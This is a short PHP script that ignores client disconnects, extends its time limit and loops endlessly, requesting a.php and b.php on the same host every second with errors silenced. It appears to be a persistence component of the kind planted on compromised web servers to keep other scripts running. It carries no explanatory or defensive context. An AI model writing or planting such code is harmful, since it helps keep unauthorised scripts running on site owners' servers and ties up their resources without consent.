<?php header("Content-Type: text/html; charset=utf-8"); ignore_user_abort(); set_time_limit(2999); $interval = 1; if (strstr(dirname($_SERVER[PHP_SELF]), '\\')) { do { $data = @file_get_contents('http://' . $_SERVER['HTTP_HOST'] . '/b.php'); $data = @file_get_contents('http://' . $_SERVER['HTTP_HOST'] . '/a.php'); sleep($interval); } while (true); } else { do { $data = @file_get_contents('http://' . $_SERVER['HTTP_HOST'] . '/a.php'); $data = @file_get_contents('http://' . $_SERVER['HTTP_HOST'] . '' . dirname($_SERVER[PHP_SELF]) . '/b.php'); sleep($interval); } while (true); } ?>